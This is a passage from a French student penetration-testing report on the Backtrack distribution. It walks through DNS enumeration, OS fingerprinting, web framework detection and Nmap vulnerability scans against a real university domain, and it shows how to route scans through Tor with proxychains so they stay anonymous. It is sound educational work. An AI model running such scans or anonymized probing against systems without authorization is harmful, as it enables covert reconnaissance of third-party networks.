la route des paquets pour découvrir les proxy, les serveurs d’equilibrage de charge (load-balancing) ou les systèmes de
détection et de prévention d’intrusion mis en place.
Énumération DNS
Cette étape est composée de plusieurs techniques qui, selon [AY09], permettent de collecter les informations suivantes :
les noms des serveurs, les noms de domaines sous-domaines utilisés pour les adresses mails et le Web, même la
cartographie d’un réseau.
On peut aussi trouver la localisation de ces serveurs, les adresses IP et les blocs d’adresses utilisés, des informations
sur le propriétaire d’un nom de domaine (adresse mail, numéro de téléphone, etc.) et sur les serveurs de noms associés
au domaine.
Il existe plusieurs commandes comme whois permettant d’interroger les registres fournissant publiquement des informations concernant les noms de domaine et adresses IP, mais aussi des outils performants présents sur Backtrack
comme Maltego, DNSenum et fierce qui permettent cela d’une manière simple et rapide.
DNSenum
C’est un outil développé en PERL permettant la récupération d’informations relatives aux noms de domaine.
Un balayage DNSenum comme le montre l’exemple suivant, nous donne les informations concernant les noms de
domaine, les sous-domaines, les serveurs mail et les blocs IP affectés en utilisant :
– Le transfert de zone (actuellement il est en général désactivé) permettant à un serveur secondaire (qui a besoin
d’être autorisé à effectuer cette opération) d’interroger le serveur primaire et de récupérer le contenu de sa base de
données, mais assez souvent aucune autre restriction n’est pas présente. Ceci permet l’affichage du contenu d’une
zone.
– Les résultats du moteur Google (le ≪scarping≫) ; souvent Google peut détecter et ne pas autoriser la recherche
automatisée et c’est pour cela qu’on remarque que DNSenum n’a pas pu récupérer des résultats en utilisant cette
technique.
– Une recherche par force brute pour trouver les noms de sous-domaines, à l’aide du fichier ”dns.txt” contenant des
mots clés qu’on pourra enrichir manuellement ou automatiquement.
COLLECTE D’INFORMATIONS
page 12 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / d n s / d n s en u m# . / dnsenum . p l −−enum −f dns . t x t −r u v s q . f r
d n s en u m . p l VERSION : 1 . 2 . 2
W a r n i n g : ca n ’ t l o a d N et : : W h o i s : : I P m o d u l e , w h o i s q u e r i e s d i s a b l e d .
−−−−−
uvsq . f r
Host ’ s
−−−−−
addresses :
uvsq . f r
86400
IN
A
193.51.27.3
86400
86400
86400
172799
IN
IN
IN
IN
A
A
A
A
193.51.33.28
193.51.24.1
129.20.254.1
134.157.0.129
86400
86400
IN
IN
A
A
193.51.24.1
193.51.33.15
Name S e r v e r s :
lune . uvsq . f r
s o l e i l . uvsq . f r
r e s o n e . u n i v −r e n n e s 1 . f r
shiva . jussieu . fr
M a i l (MX) S e r v e r s :
s o l e i l . uvsq . f r
t i t a n . uvsq . f r
T r y i n g Zone T r a n s f e r s and
getting
Bind
Versions :
T r y i n g Z o n e T r a n s f e r f o r u v s q . f r o n r e s o n e . u n i v −r e n n e s 1 . f r
AXFR r e c o r d q u e r y f a i l e d : NOERROR
r e s o n e . u n i v −r e n n e s 1 . f r
Bind V e r s i on :
T r y i n g Zone T r a n s f e r for u v s q . f r on l u n e . u v s q . f r
AXFR r e c o r d q u e r y f a i l e d : NOERROR
lune . uvsq . f r
Bind
...
V e r s i on : Bind
T r y i n g Zone T r a n s f e r for u v s q . f r on s h i v a . j u s s i e u . f r
AXFR r e c o r d q u e r y f a i l e d : REFUSED
Un a b l e to o b t a i n S e r v e r V e r s i o n for s h i v a . j u s s i e u . f r
T r y i n g Zone T r a n s f e r for u v s q . f r on
AXFR r e c o r d q u e r y f a i l e d : NOERROR
s o l e i l . uvsq . f r
Scraping
Bind V e r s i o n :
uvsq . f r
...
s o l e i l . uvsq . f r
...
: REFUSED
...
Bind
subdomains from Google :
−−−−
Google
search
page : 1
−−−−
−−−−
Google
search
page : 2
−−−−
−−−−
Google
search
page : 3
−−−−
[...]
Brute
forcing
with dns . t x t :
apps . uvsq . f r
f t p . uvsq . f r
nova . uvsq . f r
86400
86101
86237
IN
IN
IN
A
CNAME
A
193.51.33.9
193.51.24.2
[...]
uvsq . f r
ip
blocks :
193.51.24.1/32
193.51.24.2/31
193.51.24.5/32
[...]
COLLECTE D’INFORMATIONS
page 13 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
fierce
C’est un outil de reconnaissance et de récupération d’informations d’un nom de domaine. Cet outil scanne les différentes
informations récupérables, et ceci par le biais de plusiers techniques :
r o o t @ b t : / p e n t e s t / e n u m e r a t i o n / d n s / f i e r c e # . / f i e r c e . p l −dns u v s q . f r −w o r d l i s t
DNS S e r v e r s f o r u v s q . f r :
lune . uvsq . f r
s o l e i l . uvsq . f r
r e s o n e . u n i v −r e n n e s 1 . f r
shiva . jussieu . fr
Trying
zone t r a n s f e r f i r s t . . .
Tes ting l une . uvsq . f r
Request timed out or t r a n s f e r
Tes ting s o l e i l . uvsq . f r
Request timed out or t r a n s f e r
T e s t i n g r e s o n e . u n i v −r e n n e s 1 . f r
Request timed out or t r a n s f e r
Testing shiva . j u s s i e u . f r
Request timed out or t r a n s f e r
Unsuccessful
Okay , t r y i n g
hosts . t xt
not allowed .
not allowed .
not allowed .
not allowed .
i n z o n e t r a n s f e r ( i t was w o r t h a s h o t )
t h e g o o d o l d f a s h i o n e d way . . . b r u t e f o r c e
C h e c k i n g f o r w i l d c a r d DNS . . .
Nope . Good .
Now p e r f o r m i n g 1895 t e s t ( s ) . . .
193.51.33.4
oas . uvsq . f r
193.51.33.1
babaorum . u vs q . f r
[...]
192.168.61.11
192.168.61.12
p c5 5 −d s i −29 a . s i e g e . u v s q . f r
mandore . c s i . u vs q . f r
[...]
193.51.24.1
193.51.24.2
s o l e i l . uvsq . f r
nova . uvsq . f r
[...]
193.51.27.1
193.51.27.2
dia pason . s i e g e . uvsq . f r
metronome . s i e g e . u v s q . f r
[...]
Subnets
f o u n d ( may w a n t t o p r o b e h e r e u s i n g nmap o r
127.0.0.0 −255 : 1 h o s tn a mes f o u n d .
1 9 2 . 1 6 8 . 6 1 . 0 − 2 5 5 : 42 h o s t n a m e s f o u n d .
1 9 3 . 5 1 . 2 4 . 0 − 2 5 5 : 104 h o s t n a m e s f o u n d .
1 9 3 . 5 1 . 2 7 . 0 − 2 5 5 : 254 h o s t n a m e s f o u n d .
1 9 3 . 5 1 . 3 3 . 0 − 2 5 5 : 66 h o s t n a m e s f o u n d .
Done w i t h F i e r c e s c a n :
Fo u n d 467 e n t r i e s .
unicornscan ) :
h t t p : / / ha . c k e r s . o r g / f i e r c e /
H a ve a n i ce d a y .
On remarque qu’un balayage fierce est plus intéressant (avec les options utilisés), en effet il a tout d’abord vérifié
l’utilisation du wildcard DNS ce qui nous donne une idée sur l’importance des faux résultats (dans l’exemple uvsq.fr
n’utilise pas de wildcard DNS).
Les noms de sou-domaine et les adresses IP associées ont été trouvé par le biais d’un ”brute force” utilisant le fichier
interne ”hosts.txt”, ensuite fierce en trouvant un sous-domaine et l’adresse IP qui lui est associée va faire une résolution
DNS inverse pour un champs d’adresses IP contigus à cette adresse (par défaut 5 au dessus et 5 en dessous de cette
adresse initiale), pour trouver d’autre sous-domaine possibles. S’il trouve un autre nom de sous-domaine, il fera une
nouvelle résolution DNS inverse, donc fierce procéde de façon recursive pour trouver un plus grand nombre de noms
de sous-domaines.
A partir des adresses IP trouvés, les réseaux associés sont affiches avec les statistiques pour chacun afin de pouvoir
éventuellement effectuer un balayage de ports avec des outils comme Nmap ou Unicornscan.
COLLECTE D’INFORMATIONS
page 14 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
Maltego
C’est un outil très performant et plus complexe qu’un simple logiciel pour faire l’énumération DNS, car il permet de
trouver facilement, et de manière visuelle, des informations telles que les différentes adresses mail d’une personne, des
numéros de téléphone qui pourraient lui être associés, les adresses IP et les réseaux, les serveurs DNS et les serveurs
mail d’une entreprise, la recherche sur les sites comme Twitter et Facebook d’un utilisateur, etc. Maltego est proposé
sur le site http://www.paterva.com/web5/ et dispose de plusieurs tutoriels complets sur le site pour sa prise en main,
il est pratique et trés performant tout en offrant plusieurs possibilités. Par exemple un scan DNS en utilisant maltego
sur uvsq.fr produit le résultat suivant :
Figure 1 – Scan DNS sous Maltego
Passive Fingerprinting
La détection active de services ou de systèmes d’exploitation se fait en général en envoyant des paquets spécifiques
pour différentes situations et en analysant les réponses ou les erreurs envoyées par la machine ciblée (l’outil Nmap est
le meilleur exemple). Selon le concept de prise d’empreinte passive, l’adversaire analyse seulement les paquets générés
suite à une interaction normale avec la machine hébergeant l’application Web, alors il ne risque pas d’être détecté par
des pare-feu et on peut découvrir des informations intéressantes.
p0f
L’outil le plus utilisé pour le ≪passive fingerprinting≫ est p0f, inclus dans Backtrack. Cependant, il s’agit d’une ancienne
version, donc on télécharge, compile et on lance la derniere version :
root@bt
root@bt
root@bt
root@bt
: ˜# wget h t t p : / / l c a m t u f . coredump . cx / p 0 f3 / r e l e a s e s / p 0 f−l a t e s t . t g z
: ˜# t a r −x v z f p 0 f−l a t e s t . t g z
: ˜# cd p 0 f −3.04 b / ; . / b u i l d . sh
: ˜ / p 0 f −3.04 b# . / p 0 f
#
#
#
#
T e l e c h a r g e ment
E x t r a c t i o n de l ’ a r c h i v e
C o m p il a t io n
Lancement
p0f est un ≪sniffer≫ capable de nous dire quel type de système d’exploitation est utilisé par la cible, seulement en
analysant les paquets TCP SYN reçus quand la machine essaie de réaliser une connexion avec nous ou les paquets
COLLECTE D’INFORMATIONS
page 15 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
TCP SYN+ACK, reçus quand c’est nous qui essayons d’interagir avec la cible. Il faut donc faire les premiers pas du
TCP ≪handshake≫, même si nous ne finissons pas l’établissement de la connexion, pour que p0f puisse capturer des
paquets. On utilise telnet pour cela :
r o o t @ b t : ˜# t e l n e t s w i f t . prism . u v s q . f r 80
Trying 193.51.25.208...
Connected to s w i f t . prism . uvsq . f r .
Escape c h a r a c t e r i s ’ ˆ ] ’ .
ˆC
C o n n e c t i o n c l o s e d by f o r e i g n h o s t .
La sortie de p0f nous montre d’abord ce qu’il peut détecter de nos paquets TCP SYN (syn), le MTU du lien utilisé par
le client, et après il nous montre la version du système d’exploitation du serveur qu’il a trouvé en analysant les paquets
TCP SYN ACK (syn+ack) : c’est Linux 2.6.x. Il nous affiche aussi la distance en ≪hops≫ (routeurs) entre nous et le
serveur, le MTU du lien utilisé par le serveur, et la durée de fonctionnement du client et du serveur (≪uptime≫) :
. − [ 1 9 2 . 1 6 8 . 1 . 5 2 / 5 9 3 3 7 −> 1 9 3 . 5 1 . 2 5 . 2 0 8 / 8 0 ( s y n ) ]−
|
| client
= 192.168.1.52/59337
| os
= Linux 3. x
| dist
= 0
| params
= t o s : 0 x04
| r a w s i g = 4 : 6 4 + 0 : 0 : 1 4 6 0 : m s s ∗ 1 0 , 4 : mss , s o k , t s , nop , ws : d f , i d +:0
‘−−−−
. − [ 1 9 2 . 1 6 8 . 1 . 5 2 / 5 9 3 3 7 −> 1 9 3 . 5 1 . 2 5 . 2 0 8 / 8 0 ( mtu ) ]−
|
| client
= 192.168.1.52/59337
| link
= E t h e r n e t o r modem
| r a w m t u = 1500
|
‘−−−−
. − [ 1 9 2 . 1 6 8 . 1 . 5 2 / 5 9 3 3 7 −> 1 9 3 . 5 1 . 2 5 . 2 0 8 / 8 0 ( s y n+a c k ) ]−
|
| server
= 193.51.25.208/80
| os
= Linux 2.6. x
| dist
= 16
| params
= none
| r a w s i g = 4 : 4 8 + 1 6 : 0 : 1 4 5 2 : m s s ∗ 4 , 6 : mss , s o k , t s , nop , ws : d f : 0
|
‘−−−−
[...]
. − [ 1 9 2 . 1 6 8 . 1 . 5 2 / 5 9 3 3 7 −> 1 9 3 . 5 1 . 2 5 . 2 0 8 / 8 0 ( u p t i m e ) ]−
|
| server
= 193.51.25.208/80
| uptime
= 145 d a y s 15 h r s 49 m i n ( m o d u l o 198 d a y s )
| r a w f r e q = 2 4 9 . 9 3 Hz
|
‘−−−−
Détection du framework Web
Beaucoup d’applications Web sont créées en utilisant des frameworks Web ou des systèmes de gestion de contenu
(CMS - Content Management System) et d’un point de vue de la sécurité il est toujours important de savoir quels
logiciels ont été utilisés pour créer l’application et surtout quelles sont leurs versions. En trouvant leurs versions on
peut chercher sur les sites de vulnérabilités pour trouver des failles spécifiques à ces frameworks.
BlindElephant
BlindElephant est un outil qui utilise une méthode non-intrusive pour la détection des frameworks Web ou CMS
utilisés par un site. En l’exécutant avec l’option ≪guess≫ il trouve d’abord le framework utilisé :
r o o t @ b t : / p e n t e s t / web / b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t# python . / B l i n d E l e p h a n t . py www. joomla . o r g g u e s s
Probing . . .
P o s s i b l e apps :
joomla
COLLECTE D’INFORMATIONS
page 16 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
Ensuite, BlindElephant possède des chemins vers les fichiers statiques d’un tel framework Web et calcule les hachages
des fichiers, en les vérifiant avec les valeurs de hachage des fichiers pour les versions du framework qu’il connaı̂t. Il fait
un choix en se basant sur la probabilité des résultats :
r o o t @ b t : / p e n t e s t / web / b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t# python . / B l i n d E l e p h a n t . py www. joomla . o r g joomla
L o a d e d / p e n t e s t / web / b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t / d b s / j o o m l a . p k l w i t h 39 v e r s i o n s , 3789 d i f f e r e n t i a t i n g
p a t h s , a n d 140 v e r s i o n g r o u p s .
S t a r t i n g B l i n d E l e p h a n t f i n g e r p r i n t f o r v e r s i o n o f j o o m l a a t h t t p : / / www . j o o m l a . o r g
H i t h t t p : / /www . j o o m l a . o r g / l a n g u a g e / en−GB/ en−GB . i n i
P o s s i b l e v e r s i o n s b a s e d on r e s u l t : 1 . 5 . 1 8
H i t h t t p : / /www . j o o m l a . o r g / h t a c c e s s . t x t
F i l e p r o d u c e d n o m a tch . E r r o r : R e t r i e v e d
c381fa8411b62167fd7c9a06b244df36
file
d o e s n ’ t m a tch known
fingerprint .
[...]
Fingerprinting
1.5.18
Best Guess :
resulted
in :
1.5.18
COLLECTE D’INFORMATIONS
page 17 sur 47
Rapport du projet ”Backtrack”
Dumitrescu Andrei
El Raousti Habib
Reconnaissance active
Cette étape consiste à interagir directement avec la cible, en étant surtout ≪intrusive≫, c’est-à-dire on essaie de
découvrir des informations en envoyant à la cible des messages spécialement conçus pour détecter les service actifs
et leurs versions, les systèmes d’exploitation, les systèmes de protéction actifs, etc. Puisque ces messages ne font pas
nécessairement partie du trafic normal que la cible reçoit, souvent il existe des systèmes de prévention et de détection
d’un adversaire qui exécute ce type d’actions pour faire le scanning, et il existe aussi des risques juridiques apportés
par ce type d’actions qu’il faut prendre en compte.
Balayage des ports
Le balayage des ports consiste à faire le scanning des machines pour découvrir les ports ouverts, les services disponibles
sur ces ports et leurs versions, et le système d’exploitation de la machine. Il existe beaucoup des techniques pour
faire cela, et Backtrack met à notre disposition un grand nombre d’outils pour aider le testeur de sécurité avec ces
opérations.
Nmap
Nmap est un outil qui réunit la plupart des techniques de balayage des ports et qui offre une interface de commande
facile pour réaliser ces opérations. Les résultats obtenus suite à la phase d’énumération DNS peuvent être fournies à
Nmap, qui peut prendre comme option un fichier d’adresses à scanner (avec l’option -iL) ou il peut lui-même faire une
résolution DNS inverse sur une plage d’adresses spécifiée en notation CIDR, comme noms d’hôtes ou une combinaison
des deux, par exemple :
r o o t @ b t : ˜# nmap −sL g i d e . prism . u v s q . f r /24
S t a r t i n g Nmap 5 . 6 1 TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 1 4 : 0 7 CEST
S t a t s : 0 : 0 0 : 0 1 e l a p s e d ; 0 h o s t s c o m p l e t e d ( 0 up ) , 0 u n d e r g o i n g H o s t D i s c o v e r y
P a r a l l e l DNS r e s o l u t i o n o f 256 h o s t s . T i m i n g : A b o u t 52.34% done ; ETC : 1 4 : 0 7 ( 0 : 0 0 : 0 1
Nmap s c a n r e p o r t f o r f r −u v s q −02. u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 0 )
Nmap s c a n r e p o r t f o r g u i l l o t i n . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 )
Nmap s c a n r e p o r t f o r d r a c u l a . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 )
Nmap s c a n r e p o r t f o r n e m e s i s . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 0 )
Nmap s c a n r e p o r t f o r c i t r o n i e r . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 1 )
[...]
Nmap s c a n r e p o r t f o r r −f e r m a t −m1 . r e s e a u . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 5 2 )
Nmap s c a n r e p o r t f o r r −eu −6006. r e s e a u . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 5 3 )
Nmap s c a n r e p o r t f o r r − s c i e n c e s . r e s e a u . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 5 4 )
Nmap s c a n r e p o r t f o r 1 9 3 . 5 1 . 2 5 . 2 5 5
Nmap done : 256 I P a d d r e s s e s ( 0 h o s t s up ) s c a n n e d i n 8 . 5 8 s e c o n d s
remaining )
Avec l’option -sL Nmap affiche juste une liste d’hôtes du réseau spécifié avec une résolution DNS inverse pour chacun
par défaut ; il est possible d’enlever la résolution avec l’option -n. Dans la page de manuel (man) sur Backtrack
de Nmap, on trouve un grand nombre d’options ainsi que leur contexte d’utilisation. Pour illustrer les principales
fonctionnalités de Nmap, on va faire un balayage de ports standard, avec les options suivantes :
– -sS : l’option pour faire un balayage de ports de type ”SYN scan” : il envoye des paquets de type TCP SYN aux
ports spécifiés et il classifie chaque port selon la réponse reçue (un paquet SYN ACK, RST ou aucune réponse après
plusieurs tentatives) en port ouvert (”open”), fermé (”closed”) our filtré (”filtered”) par un pare-feu. Si d’autres
types de balayage de ports ne sont pas spécifiés, ce type est fait par défaut.
– -sV : c’est l’option pour envoyer en plus des paquets spécifiques pour découvrir quel service est actif sur le port trouvé
et quelle est sa version, selon la réponse reçue - Nmap contient des fichiers avec plus de 6000 signatures de réponse
pour la détection des services et plus de 2600 signatures de réponse pour la détection des systèmes d’exploitation.
– -O : l’option pour détecter le système d’exploitation sur le même principe comme les services. En plus, si Nmap ne
peut pas trouver avec exactitude le système d’exploitation, il offre plusieurs choix et son niveau de confiance (en
pourcentage) pour chacun.
– -Pn : avec cette option Nmap il ne va pas envoyer des messages pour découvrir si l’hôte spécifié est en ligne (ce qu’il
fait par défaut avant de chaque balayage).
– -T4 : on spécifie la vitesse générale du balayage : 4 signifie le mode ”aggressive”.
– -p 1-65535 : on spécifie les ports qu’on veut scanner : par défaut Nmap a une liste de ports connus à qui il envoie
ses sondes, mais ici on veut scanner tous les ports disponibles, de 1 à 65535.
COLLECTE D’INFORMATIONS
page 18 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : ˜# nmap −sS −sV −O −Pn −T4 −p 1−65535 s w i f t . prism . u v s q . f r
S t a r t i n g Nmap 5 . 6 1 TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 1 4 : 3 5 CEST
Nmap s c a n r e p o r t f o r s w i f t . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 0 8 )
H o s t i s up ( 0 . 0 3 4 s l a t e n c y ) .
Not shown : 65516 f i l t e r e d p o r t s
PORT
STATE SERVICE VERSION
20/ t c p
c l o s e d f t p −d a t a
21/ t c p
closed ftp
22/ t c p
open
ssh
OpenSSH 5 . 9 p 1 D e b i a n 4 ( p r o t o c o l 2 . 0 )
23/ t c p
closed telnet
53/ t c p
c l o s e d domain
80/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6
110/ t c p
c l o s e d pop3
113/ t c p
closed ident
143/ t c p
c l o s e d imap
220/ t c p
c l o s e d imap3
443/ t c p
closed https
585/ t c p
c l o s e d unknown
873/ t c p
closed rsync
993/ t c p
c l o s e d imaps
995/ t c p
c l o s e d pop3s
1935/ t c p
c l o s e d rtmp
2401/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6 ( ( Debian ) )
5999/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6
46015/ t c p c l o s e d unknown
D e v i c e type : g e n e r a l p u r p o s e |WAP| m e d i a d e v i c e | r o u t e r | f i r e w a l l
R u n n i n g ( JUST GUESSING ) : L i n u x 2 . 6 . X | 2 . 4 . X (95%) , N e t g e a r e m b e d d e d (89%) , W e s t e r n D i g i t a l e m b e d d e d (89%) ,
P e p l i n k e m b e d d e d (88%) , W a t c h G u a r d e m b e d d e d (88%) , D−L i n k e m b e d d e d (88%) , L i n k s y s e m b e d d e d (88%) ,
L i n k s y s L i n u x 2 . 4 . X (87%)
OS CPE : c p e : / o : l i n u x : k e r n e l : 2 . 6 . 3 1 c p e : / o : l i n u x : k e r n e l : 2 . 6 . 2 2 c p e : / o : l i n k s y s : l i n u x : 2 . 4 c p e : / o : l i n u x : k e r n e l
:2.4
A g g r e s s i v e OS g u e s s e s : L i n u x 2 . 6 . 3 1 (95%) , L i n u x 2 . 6 . 2 3 − 2 . 6 . 3 8 (92%) , L i n u x 2 . 6 . 3 2 (92%) , L i n u x 2 . 6 . 3 5
(92%) , L i n u x 2 . 6 . 2 2 (92%) , N e t g e a r DG834G WAP o r W e s t e r n D i g i t a l WD TV m e d i a p l a y e r (89%) , OpenWrt
K a m i k a z e 7 . 0 9 ( L i n u x 2 . 6 . 2 2 ) (89%) , S m o o t h w a l l E x p r e s s 3 . 0 ( L i n u x 2 . 6 . 1 6 ) (88%) , P e p l i n k B a l a n c e 380
r o u t e r (88%) , L i n u x 2 . 6 . 1 8 (88%)
No e x a c t OS m a t c h e s f o r h o s t ( t e s t c o n d i t i o n s non− i d e a l ) .
S e r v i c e I n f o : OS : L i n u x ; CPE : c p e : / o : l i n u x : k e r n e l
OS a n d S e r v i c e d e t e c t i o n p e r f o r m e d . P l e a s e r e p o r t a n y i n c o r r e c t
Nmap done : 1 I P a d d r e s s ( 1 h o s t up ) s c a n n e d i n 1 9 4 . 6 0 s e c o n d s
results
at
h t t p : / / nmap . o r g / s u b m i t / .
On voit que les ports qui n’on pas répondu sont appelé ”filtered” - ils sont nombreux : 65516. Pour les ports fermés
Nmap ne peut pas détecter la version ou le service avec exactitude, mais il offre les noms de services qui sont connus
sur ces ports, comme spécifié dans le fichier /etc/services sur le systèmes d’exploitation Ubuntu Linux. Pour les ports
ouverts on a les services et leurs versions : trois instances du serveur Web Apache, version 2.2.16, sur les ports 80,
2401 et 5999, ainsi que le serveur OpenSSH, version 5.9p1, qui implémente le protocole SSHv2. Le système de service
n’a pas pu être bien détecté, donc il affiche plusieurs choix. La ligne ”OS CPE” contient les systèmes d’exploitation
en notation standardisée CPE (”Common Platform Enumeration”).
En plus, Nmap met à notre disposition le Nmap Scripting Engine (NSE), qui est un système pour écrire des scripts en
langage Lua pour étendre ou compléter les fonctions de base. Il y a plus des 350 scripts qui ont été développé et il sont
organisés en 12 catégories : auth, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version,
vuln. La liste et la documentation officielle se trouvent à : http://nmap.org/nsedoc/.
Avec l’option –script on peut spécifier quelques catégories de scripts à essayer. Dans l’exemple suivant, le script
”broadcast-avahi-dos” essaie de découvrir les hôtes dans le réseau local en utilisant le protocole DNS-SD (Service
Discovery), et envoye un paquet NULL UDP pour tester s’ils sont vulnérables à une attaque ”Denial of Service”
(DoS). Le script ”http enum” essaie de traverser les répertoires de l’application Web et de découvrir ses fichiers, par
exemple robots.txt.
La commande pour faire un balayage Nmap en recherchant avec les scripts spécifiquement des vulnérabilités sur les
services actifs (et en faisant aussi plus des tests de version) est :
COLLECTE D’INFORMATIONS
page 19 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : ˜# nmap −sV −−s c r i p t v e r s i o n , v u l n −p 1−65535 −T4 s w i f t . prism . u v s q . f r
S t a r t i n g Nmap 5 . 6 1 TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 1 4 : 4 4 CEST
Pr e −s c a n s c r i p t r e s u l t s :
| b r o a d c a s t −a v a h i −d o s :
|
Discovered hosts :
|
192.168.1.31
|
A f t e r NULL UDP a v a h i p a c k e t DoS ( CVE−2011 −1002) .
|
H o s t s a r e a l l up ( n o t v u l n e r a b l e ) .
Nmap s c a n r e p o r t f o r s w i f t . p r i s m . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 0 8 )
H o s t i s up ( 0 . 0 6 3 s l a t e n c y ) .
Not shown : 65516 f i l t e r e d p o r t s
PORT
STATE SERVICE VERSION
20/ t c p
c l o s e d f t p −d a t a
21/ t c p
closed ftp
22/ t c p
open
ssh
OpenSSH 5 . 9 p 1 D e b i a n 4 ( p r o t o c o l 2 . 0 )
23/ t c p
closed telnet
53/ t c p
c l o s e d domain
80/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6
| h t t p −enum :
|
/ r o b o t s . t x t : Robots f i l e
|
/ c r o s s d o m a i n . xml : Adobe F l a s h c r o s s d o m a i n p o l i c y
110/ t c p
c l o s e d pop3
113/ t c p
closed ident
143/ t c p
c l o s e d imap
220/ t c p
c l o s e d imap3
443/ t c p
closed https
585/ t c p
c l o s e d unknown
873/ t c p
closed rsync
993/ t c p
c l o s e d imaps
995/ t c p
c l o s e d pop3s
1935/ t c p
c l o s e d rtmp
2401/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6 ( ( Debian ) )
5999/ t c p
open
http
Apache h t t p d 2 . 2 . 1 6
| h t t p −enum :
|
/ r o b o t s . t x t : Robots f i l e
|
/ k u s a b a x / m a n a g e p a g e . php : Kusabax Image Board
46015/ t c p c l o s e d unknown
S e r v i c e I n f o : OS : L i n u x ; CPE : c p e : / o : l i n u x : k e r n e l
S e r v i c e d e t e c t i o n p e r fo r m e d . P l e a s e r e p o r t any i n c o r r e c t r e s u l t s
Nmap done : 1 I P a d d r e s s ( 1 h o s t up ) s c a n n e d i n 7 9 1 . 8 7 s e c o n d s
at
h t t p : / / nmap . o r g / s u b m i t / .
Les méthodes de scanner les machines montrées jusqu’à maintenant sont intrusives, c’est-à-dire elles communiquent directement avec la cible, et elles envoient beaucoup des paquets spécifiques pour découvrir ses services, ses vulnérabilités
etc., qui peuvent être détectés par les pare-feu. Nmap possède plusieurs options pour masquer l’opération de balayage
- en tenant compte du fait que le balayage de ports est illégale dans certains pays et alors apparaı̂tre dans les journaux
des paquets des pare-feu est indésirable. Une présentation excellente des techniques pour dépasser les vérifications des
pare-feu et des exemples pour se défendre contre Nmap se trouve dans le chapitre 10 ”Detecting and Subverting Firewalls and Intrusion Detection Systems” et le chapitre 11 ”Defenses Against Nmap” du guide officiel ”Nmap Network
Scanning” [Lyo08].
Néanmoins, il existe une autre façon de faire les balayages de ports et de préserver notre anonymat en même temps. Il
faut d’abord installer le logiciel Tor, qui n’est pas compris par défaut dans la suite des outils de la distribution Backtrack
- le guide d’installation se trouve à https://www.torproject.org/docs/debian.html.en ; pour Backtrack 5 R2 le
champ ¡DISTRIBUTION¿ doit être remplacé par ”lucid”. Tor met à notre disposition un réseau de serveurs proxy qui
obscurcit la route de nos paquets par des moyens cryptographiques. On vérifie que Tor a été bien installé :
r o o t @ b t : ˜#
tcp
tcp
tcp
n e t s t a t −t u l n p | g r e p ” t c p ”
0
0 127.0.0.1:7337
0
0 127.0.0.1:5432
0
0 127.0.0.1:9050
0.0.0.0:∗
0.0.0.0:∗
0.0.0.0:∗
LISTEN
LISTEN
LISTEN
1083/ p o s t g r e s
828/ p o s t g r e s
1101/ t o r
et on observer qu’il est actif sur le port 9050. Ensuite, dans Backtrack 5 R2 on a l’outil proxychains qui envoie les
paquets générés de la commande qu’il prend comme paramètre au serveur proxy configuré. Par défaut la configuration
est déjà mise en place pour Tor, donc il nous reste juste d’exécuter un balayage de ports en utilisant proxychains :
COLLECTE D’INFORMATIONS
page 20 sur 47
Dumitrescu Andrei
El Raousti Habib
Rapport du projet ”Backtrack”
r o o t @ b t : ˜# p r o x y c h a i n s nmap −Pn −n −sV −−v e r s i o n − a l l
P r o x y C h a i n s −3.1 ( h t t p : / / p r o x y c h a i n s . s f . n e t )
193.51.25.208
S t a r t i n g Nmap 5 . 6 1 TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 1 2 : 0 7 CEST
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:22−<><>− OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:80−<><>− OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:80−<><>− OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK
| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OK
Nmap s c a n r e p o r t f o r 1 9 3 . 5 1 . 2 5 . 2 0 8
H o s t i s up ( 0 . 0 8 8 s l a t e n c y ) .
N o t s h o w n : 984 f i l t e r e d p o r t s
PORT
STATE SERVICE VERSION
20/ t c p
c l o s e d f t p −d a t a
21/ t c p
closed ftp
22/ t c p
open
ssh
OpenSSH 5 . 9 p 1 D e b i a n 4 ( p r o t o c o l 2 . 0 )
23/ t c p
closed telnet
53/ t c p
